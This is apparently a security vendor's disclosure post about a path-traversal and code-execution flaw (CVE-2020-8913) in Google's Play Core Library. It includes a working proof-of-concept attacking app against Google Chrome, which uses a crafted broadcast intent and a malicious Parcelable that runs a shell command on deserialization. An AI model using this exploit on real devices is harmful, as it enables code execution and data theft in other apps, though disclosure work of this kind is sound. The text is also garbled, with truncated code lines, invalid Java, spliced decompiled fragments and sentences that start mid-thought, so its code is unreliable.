

28 AUGUST 2020

Oversecured automatically discovers persistent code execution in the Google Play Core Library

The Google Play Core Library is a popular library for Android that allows updates to various parts of an app to be delivered at runtime without the participation of the user, via the Google API. It can also be used to reduce the size of the main apk file by loading resources optimized for a particular device and settings (localization, image dimensions, processor architecture, dynamic modules) instead of storing dozens of different possible versions. The vulnerability we discovered made it possible to add executable modules to any apps using the library, meaning arbitrary code could be executed within them. An attacker who had a malware app installed on the victim's device could steal users' login details, passwords, and financial details, and read their mail.

Do you want to check your mobile apps for such types of vulnerabilities? Oversecured mobile apps scanner provides an automatic solution that helps to detect vulnerabilities in Android and iOS mobile apps. You can integrate Oversecured into your development process and check every new line of your code to ensure your users are always protected.

Start securing your apps by starting a free 2-week trial from [Quick Start](#), or you can [book a call](#) with our team or [contact us](#) to explore more.

Introduction

Experts at Oversecured's scanning kernel development department tested an update on several popular apps and discovered that something interesting had triggered the scanner. In many cases, we uncovered [Theft of arbitrary files](#) and [Overwriting arbitrary files](#) vulnerabilities in the Google Play Core library's source code. Below we present a listing of the vulnerability from the report:

Found in file `com/google/android/play/core/splitinstall/SplitInstallSessionState.java` Mark as a false positive [Collapse](#)

```

29  /* renamed from: i */
30  private final android.app.PendingIntent f22644i;
31
32  private SplitInstallSessionState(int i, int i2, int i3, long j, long j2, java.util.List<java.lang.String> list,
33      this.f22637b = i;
34      this.f22638c = i2;
35      this.f22639d = i3;
36      this.f22640e = j;
37      this.f22641f = j2;
38      this.f22642g = list;
39      this.f22643h = list2;
40      this.f22644i = pendingIntent;
41      this.f22636a = list3;
42  }
43
44  /* renamed from: a */
45  public static com.google.android.play.core.splitinstall.SplitInstallSessionState m15407a(android.os.Bundle bundle,
46      return new com.google.android.play.core.splitinstall.SplitInstallSessionState(bundle.getInt("session_id"), b
47  }
48
49  /* access modifiers changed from: package-private */

```

Found in file `com/google/android/play/core/splitinstall/C3748l.java`

```

17  }
18
19  private C3748l(android.content.Context context, com.google.android.play.core.splitinstall.C3741e eVar) {
20      super(new com.google.android.play.core.internal.ae("SplitInstallListenerRegistry"), new android.content.Inte
21      this.f22677c = new android.os.Handler(android.os.Looper.getMainLooper());
22      this.f22678d = eVar;
23  }

```

Found in file `com/google/android/play/core/listener/C3718a.java`

```

21  /* renamed from: f */
22  private volatile boolean f22600f = false;
23
24  protected C3718a(com.google.android.play.core.internal.ae aeVar, android.content.IntentFilter intentFilter, andr
25      this.f22595a = aeVar;
26      this.f22596b = intentFilter;
27      this.f22597c = context;
28  }
29
30  /* renamed from: a */
31  private final void m15347a() {
32      com.google.android.play.core.listener.C3719b bVar;
33      if ((this.f22600f || !this.f22598d.isEmpty()) && this.f22599e == null) {
34          this.f22599e = new com.google.android.play.core.listener.C3719b(this, (byte) 0);
35          this.f22597c.registerReceiver(this.f22599e, this.f22596b);
36      }
37      if (!this.f22600f && this.f22598d.isEmpty() && (bVar = this.f22599e) != null) {
38          this.f22597c.unregisterReceiver(bVar);

```

Found in file `com/google/android/play/core/listener/C3719b.java`

```

14      this(aVar);
15  }
16
17  public final void onReceive(android.content.Context context, android.content.Intent intent) {
18      this.f22601a.mo31943a(context, intent);
19  }
20 }

```

Found in file `com/google/android/play/core/splitinstall/C3748l.java`

```

43  /* access modifiers changed from: protected */
44  @Override // com.google.android.play.core.listener.C3718a
45  /* renamed from: a */
46  public final void mo31943a(android.content.Context context, android.content.Intent intent) {
47      com.google.android.play.core.splitinstall.C3741e eVar;
48      com.google.android.play.core.splitinstall.SplitInstallSessionState a = com.google.android.play.core.splitins
49      this.f22595a.mo31981b("ListenerRegistryBroadcastReceiver.onReceive: %s", a);
50      if (a.status() != 3 || (eVar = this.f22678d) == null) {

```

substitute executable files and achieve the execution of arbitrary code. The testing took place on the Google Chrome app.

Fragment of the vulnerable code

The Google Chrome app was decompiled with the deobfuscation option set, and fragments of the resulting code are presented below.

An unprotected broadcast receiver in the file `com/google/android/play/core/splitinstall/C37481.java` allows third-party apps to send specially crafted intents into it, forcing a vulnerable app to copy arbitrary files to arbitrary locations specified in the parameter `split_id` which is vulnerable to path-traversal.

Registration of the unprotected broadcast receiver in the file

```
206 public final void mo31974a(java.util.List<android.content.Intent> list, com.google.android.play.core.splitinstall.C37481.java
com/google/android/play/core/splitinstall/C37481.java
207 {
208     this.f22595d.execute(new com.google.android.play.core.internal.C3601b(this, list, f22595d));
209 }

private C37481(Context context, C3741e eVar) {
    super(new ae("SplitInstallListenerRegistry"), new IntentFilter("com.google.android.play.core.
    ));
```

```
File com/google/android/play/core/listener/C3718a.java
17 /* renamed from: c */
18 private final /* synthetic */ com.google.android.play.core.internal.ab f22567c;

protected C3718a(ae aeVar, IntentFilter intentFilter, Context context) {
    this.f22595a = aeVar;
    this.f22596b = intentFilter; // intent filter with action `com.google.android.play.core.split
    this.f22597c = context;
}

private final void m15347a() {
    if ((this.f22600f || !this.f22598d.isEmpty()) && this.f22599e == null) {
        this.f22599e = new C3719b(this, 0);
        this.f22597c.registerReceiver(this.f22599e, this.f22596b); // registration of unprotected
```

allows third-party apps installed on the same device to broadcast arbitrary data here.

The file `com/google/android/play/core/internal/ab.java` processes the message received

```
29 android.util.Log.e("SplitCompat", "Error checking verified files.", e);
30
31
32
33
34
35
36
37
38
39 r4 = move-exception;
40 */

public static SplitInstallSessionState m15407a(Bundle bundle) {
    return new SplitInstallSessionState(bundle.getInt("session_id"), bundle.getInt("status"), bun
}

, "rw").getC
```

In the file `com/google/android/play/core/internal/ab.java` the library copies content from the URI from `split_file_intents` into the `unverified-splits` directory under the name `split_id`, which is subject to path-traversal due to the absence of validation

```
49 } catch (java.nio.channels.OverlappingFileLockException unused) {
50 }

split_file_intents into the unverified-splits directory under the name split_id, which is subject to
52 if (fileLock != null) {
53     num = java.lang.Integer.valueOf(m15155b(list));
54 }

for (Intent next : list) {
    String stringExtra = next.getStringExtra("split_id");
    File a = this.f22543b.mo32067a(stringExtra); // path traversal from `/data/user/0/{package_na
    if (!a.exists() && !this.f22543b.mo32067b(stringExtra).exists()) {
        bufferedInputStream = new BufferedInputStream(new FileInputStream(this.f21840a.getContent
        fileOutputStream = new FileOutputStream(a);
        byte[] bArr = new byte[4096];
        while (true) {
            int read = bufferedInputStream.read(bArr);
            if (read <= 0) {
                break;
            }
            fileOutputStream.write(bArr, 0, read);
        }
    }
}
```

send their instances to the affected app, meaning the `createFromParcel(...)` method will be executed in their context during deserialization leading to local code execution.

Proof of Concept

A Proof of Concept was created for the Google Chrome app: it executes the command `chmod -R 777 /data/user/0/com.android.chrome` in the context of the vulnerable app. It first launches the app's main activity, as a result of which an unprotected receiver is registered in the Google Play Core library code. 3 seconds later it sends a command to the receiver, which causes the affected app to be added in its entirety to the default ClassResolver. After 5 seconds the attacking app sends the `EvilParcelable` object, which automatically executes the command on being deserialized. Deserialization happens automatically, due to the way Android works. When a component receives an Intent, all attached objects are deserialized on receipt of a value or state (the `method`).

```

162         if (read == 0) {
163             break;
164         }
165         fileOutputStream.write(bArr, 0, read);
166     }
167     fileOutputStream.close();
168     m15152a((java.lang.Throwable) null, bufferedInputStream);
169     private static java.lang.String m16369h(java.lang.String str) {
170         java.lang.String valueOf2 = java.lang.String.valueOf(".apk");
171         Intent.hasExtra(name) = java.lang.String.valueOf("apk");
172         return valueOf2.length() == 0 ? valueOf.concat(valueOf2) : new java.lang.String(valueOf);
173     }

public static final String APP = "com.android.chrome";

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent launchIntent = getPackageManager().getLaunchIntentForPackage(APP);
    startActivity(launchIntent);

    new Handler().postDelayed(() -> {
        Intent split = new Intent();
        split.setData(Uri.parse("file://" + getApplicationInfo().sourceDir));
        split.putExtra("split_id", "../verified-splits/config.test");

        Bundle bundle = new Bundle();
        bundle.putInt("status", 3);
        bundle.putParcelableArrayList("split_file_intents", new ArrayList<Parcelable>(Arrays.asLi

        Intent intent = new Intent("com.google.android.play.core.splitinstall.receiver.SplitInsta
        intent.setPackage(APP);
        intent.putExtra("session_state", bundle);
        sendBroadcast(intent);
    }, 3000);

    new Handler().postDelayed(() -> {
        startActivity(launchIntent.putExtra("x", new EvilParcelable()));
    }, 5000);
}

```

Code for the class that executes the command under the attacker's control on deserialization

```

package oversecured.poc;

import android.os.Parcelable;

public class EvilParcelable implements Parcelable {
    public static final Parcelable.Creator<EvilParcelable> CREATOR = new Parcelable.Creator<EvilP
    public EvilParcelable createFromParcel(android.os.Parcel parcel) {
        exploit();
        return null;
    }

    public EvilParcelable[] newArray(int i) {
        exploit();
        return null;
    }

    private void exploit() {
        try {
            Runtime.getRuntime().exec("chmod -R 777 /data/user/0/" + MainActivity.APP).waitFo
        } catch (Throwable th) {
            throw new RuntimeException(th);
        }
    }
};

public int describeContents() { return 0; }
public void writeToParcel(android.os.Parcel parcel, int i) {}
}

```

This vulnerability was assessed by Google as highly dangerous. It meant many popular apps, including Google Chrome, were vulnerable to arbitrary code execution. This could lead to leaks of users' credentials and financial details, including credit card history; to interception and falsification of their browser history, cookie files, etc. To remove it, developers should update the Google Play Core library to the latest version and users should update all their apps.

Timeline

02/26/2020 - Scanner triggered, first exploit to steal arbitrary files created

02/27/2020 - Vulnerability studied in greater detail, exploit to execute arbitrary code created, information sent to Google

04/06/2020 - Google confirmed the vulnerability has been fixed

07/22/2020 - Google assigned CVE-2020-8913

Preventing these vulnerabilities

It could be challenging to keep track of security, especially in large projects. You can use Oversecured vulnerability scanner since it tracks all known security issues on Android and iOS including all the vectors mentioned above. To begin testing your apps, use [Quick Start](#), [book a call](#) or [contact us](#).



oversecured
secure place

[Read More](#)

Oversecured detects dangerous vulnerabilities in the TikTok Android app

 OVERSECURED

1 MIN READ

Android: Access to app protected components

 OVERSECURED

1 MIN READ